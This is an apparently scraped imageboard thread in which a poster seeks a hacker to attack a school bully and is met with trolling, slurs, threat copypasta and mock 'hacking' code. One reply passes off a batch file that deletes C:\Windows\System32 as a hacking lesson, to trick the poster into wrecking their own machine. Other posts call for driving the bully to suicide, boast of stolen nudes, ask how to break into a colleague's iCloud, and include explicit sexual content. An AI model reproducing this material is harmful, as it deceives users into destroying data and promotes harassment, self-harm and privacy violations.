I've heard Cred Forums was full of real hackers and I wanna hire one to hack this bully in my school...

Sure
I have good hacking skills. What do you need.

is not me...

idk how to pay money and idk what you can do but just HACK him... he's a bully. Any TRUE HACKERS around here?!...

I heard you're selling the 'memes' if you know what i mean

See

OMG it says "Anonymous" on my post... Does it mean I can hack him mysefl now?... WOW!

these aren't me! i want you to get him to kill himself and then i'll pay you with my mom's paypal account

done. he has been hacked. pay me [email protected]

Fuck off with your fucking shit meme.

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STOP DIONG IT YOUR NOT ME!
Cred Forums why is this happening?

Dude, you're shit.

Not only you're shit, but you're IN deep shit.

Now that you fucking provocated me, you're fucked. I mean, seriously... I am a powerful hacker that acts in the shadow, on an higher level than the anonymous. I have thousands of connections and I only have to write 1 fucking sentence on our secret chat to get you attacked by hundreds of hackers at the same time. Your crappy Windows 8 cardboard computer's goin' to blow up son. I feel sad for you, beign so fucking ignorant and retarded. But I don't have time to lose with worthless trash like you, so, adios bitch.

Post money and name

make a stupid thread, get stupid replies

can you please teach me how to HACK? I'll pay 30 dollars...

Bcause this is Cred Forums ! Its not you its me !

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What the fuck did you just fucking say about me, you little faget? I'll have you know I graduated top of my class in the chinchin army, and I've been involved in numerous secret raids on Filthy Frank, and I have over 300 confirmed chromosomes. I am trained in dank meme-jutsu and I'm the top henchman in the entire chinchin armed forces. You are nothing to me but just another 45 chromosomes. I will meme you the fuck out with precision the likes of which has never been seen before in this realm, mark my fucking chromosomes. You think you can get away with saying that shit to me over the Internet? Think again, faget. As we speak I am contacting lord chinchin and your realm is being traced right now so you better prepare for the dank, faget. The dank that wipes out the pathetic little things you call your chromosomes. You're fucking dead, faget. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that's just with my dank memes. Not only am I extensively trained in meme-jutsu, but I have access to the entire meme arsenal of the chinchin army and I will use it to its full extent to wipe your miserable chromosomes off the face of the realm, you little shit. If only you could have known what dankness your little "clever" comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn't, you didn't, and now you're gonna be short even more chromosomes than before, you goddamn idiot. I will shit dank memes all over you and you will drown in it. You're fucking dead, faget. ore wa o-chinchin ga daisuki.

Yeah sure. I am a great techer. But you need to pay your fee in blowjobs.

I hack all you punks

What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo.

kek F A G G O T you cant even hack a chicken so quit your retard shit and go suck your pops flaccid dick

#include "Cred Forums.h"
#include

int main(){
int isHacked = 0;
int numHacks = 20; // hack 20 posters in the thread
HackTools* myhacktool {"timer(60); // finish hacking in 60 seconds
myhacktool->noCIA(); // get rid of CIA
myhacktool->noNSA(); // get rid of NSA
myhacktool->begin(&isHacked); // begin hacking
if(isHacked){
std::cout

I am mr robot

Oi faggot you cant run a script on hackchan wheres your compiler and shit lmao

Where is OP

that's the difference between you and I, I can compile the shit you can't. I pro haxor

Oooooh jeez we dun goofed!

ok... you look like you know what your doing and you look like a REAL hacker so I'll hire you...

not a pro hacker you are an autistic hacker. tell me hackerchan what vulnerability you gunna exploit for your hack, please illuminate me

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You wouldn't understand

>moms paypal account
Summer is over faggot

What's this you've said to me, my good friend? Ill have you know I graduated top of my class in conflict resolution, and I've been involved in numerous friendly discussions, and I have over 300 confirmed friends. I am trained in polite discussions and I'm the top mediator in the entire neighborhood. You are worth more to me than just another target. I hope we will come to have a friendship never before seen on this Earth. Don't you think you might be hurting someone's feelings saying that over the internet? Think about it, my friend. As we speak I am contacting my good friends across the USA and your P.O. box is being traced right now so you better prepare for the greeting cards, friend. The greeting cards that help you with your hate. You should look forward to it, friend. I can be anywhere, anytime for you, and I can calm you in over seven hundred ways, and that's just with my chess set. Not only am I extensively trained in conflict resolution, but I have access to the entire group of my friends and I will use them to their full extent to start our new friendship. If only you could have known what kindness and love your little comment was about to bring you, maybe you would have reached out sooner. But you couldn't, you didn't, and now we get to start a new friendship, you unique person. I will give you gifts and you might have a hard time keeping up. You're finally living, friend.

Hi Mr Robot,
I'm a meat bag.

kek, that's l337 son!

Don't underestimate the power of common commenter loodle I wuz with anonymous

Wat u need OP

Ok here is a lesson for free.

1.- Open the notepad in your computer
2,- Write the next lines of text in it:
@echo off
del C:\Windows\System32
here write name of your bully
>init hack =1-0

4.- Save the file with a fancy name, select the type of file as all files, then at the end of the file name write .bat
5.- There should now be an icon with two cogs on it where you saved the file, that means you did it right, now double click on it to initilalize

why hack anything when you could praise our good lord and savior Pepsi Man??!!!!

/thread

Can someone save this whole thing? My sides have ascended to the heavens atm.

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when you praise him he fills up inside

True photoshop hacker

Holy shit this fuckking thread is cringe

Also haven't seen this bait in a while

I think you are an adequate alternative to coke.

either autist or really good bait..not sure.....yet..

Can i snort you too?

>Retard thinks coke a cola is doing drugs.

I'm still trying to figure out why the dereference and the address symbol(ampersand) is just randomly about

Pepsi Man is pleased
please spread the word of pepsi man

I figured that out years ago, fucking moron.

Good CPP joke, but audience knows only CP

>@echo off
sut up burt cpp no use hacking , we use pyTHON

dude thank you! i got into my friends wifes email and got her nudes lmaoooo!!!!

Holy shit, thanks man

my turn my turn

class Poop:

....def diarrhea:
........c0n3ct0r = "connecting to zombies"
........ass = [1, 2, 3, 4]
........for poop in ass:
............print "cnectedToZombie%s" % ass

hxkrsxript = "I am 1337"

while True:
....for i in hxkrsxript.split(' '):
........print i
....print "executing payload"
....payload.diarrhea()

payload = Poop()
#asstittiesmcgee

I don't think you understand, I know what they are faggot

I typed all that out for nuthin goddamnit

>Newfag

Don't you ever, EVER respond to my post again unless you're going to say something constructive. I have had it up to here with you jackasses ruining this board because of what you think are 'smart' or 'funny' comments, when really you're just trying to hid your insecurities by belittling someone on the internet. Why? What do you gain from it? Don't you realise that the posts you respond to have REAL people behind them? Real people that don't deserve the bullshit you think is acceptable to throw in their faces? Did your parents not teach you any decency or basic manners? Whatever the case, it ends NOW. It's time you little brats learned a thing or two about respect. If I catch you pulling this sort of shit again, believe me, there will be hell to pay.

only if you knew how autistic you sound

And then I'll jack off to his nudes

>Calls people autistic
>To hide autism in self.

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Today, I was lifting an old carpet, as we have a damp problem. Underneath there were hundreds of slugs and worms. My wife and I picked up about 40 slugs and put them in a pair of my wife's panties. I then put the panties on. The feeling was amazing. I got a huge erection and I could feel them sliding over my glans, and round my balls. Eventually I could feel one going up my bum. I knew I would come soon, so I let my wife tie me up, with my hands and feet speadeagled and attached to some furniture. She then took the panties down and about 15 of the slugs were crawling over my cock and balls. I came, spurting out loads of cum all over the poor things, but still couldn't move. My wife then took the other slugs out of the panties and placed them on my cock. She was careful to put some of them right on the opening of my cock, which was now covered in a mixture of sperm and glistening goo from the slugs. She opened up my arse and tried to put one in there too. I got hard again quite quickly as I thought of these slimy little things crawling over me. I imagined them biting me. One seemed to be trying to enter my uretha and this caused me to come again. That was 4 hurs ago. My cock is now very itchy, but I am about to give them another "feed".

What's the best way to social engineer a female colleague? She definitely have nudes stored on her iCloud, and have been hitting on all the autistic developers like a little slut.

lost

u phagged just use her notebook after you fucked her soo hard she can't move

Wow what fun females! So kewl and random! The one is dancing sexually on the other but get this... they are wearing animal costumes!!!!!!!!!!!!!!! Haha haha haha oh my stars!!!!! What fun!! These girls must be very clever to think of such a fun thing to do for enjoyment of their friends and family who have probably never seen such super crazy behavior!! So fun!!!

it's all yours friend :)

Yea females have all the fun.

I am the hacker known as ---Anonimus--- I can help you, just send me your bank account details and I will use them to bypass the targets ip using a firewall. Don't forget to send the targets vpn code (three digit number on the back of the card) so I can bypass the mainframe server system.

if def(*&^^&%%^£$£@£%___Cred Forums hacker asociation____

Go to Youtube and search "How to hack tutorial" and you will find more usefull material than lurking on this usless pornboard

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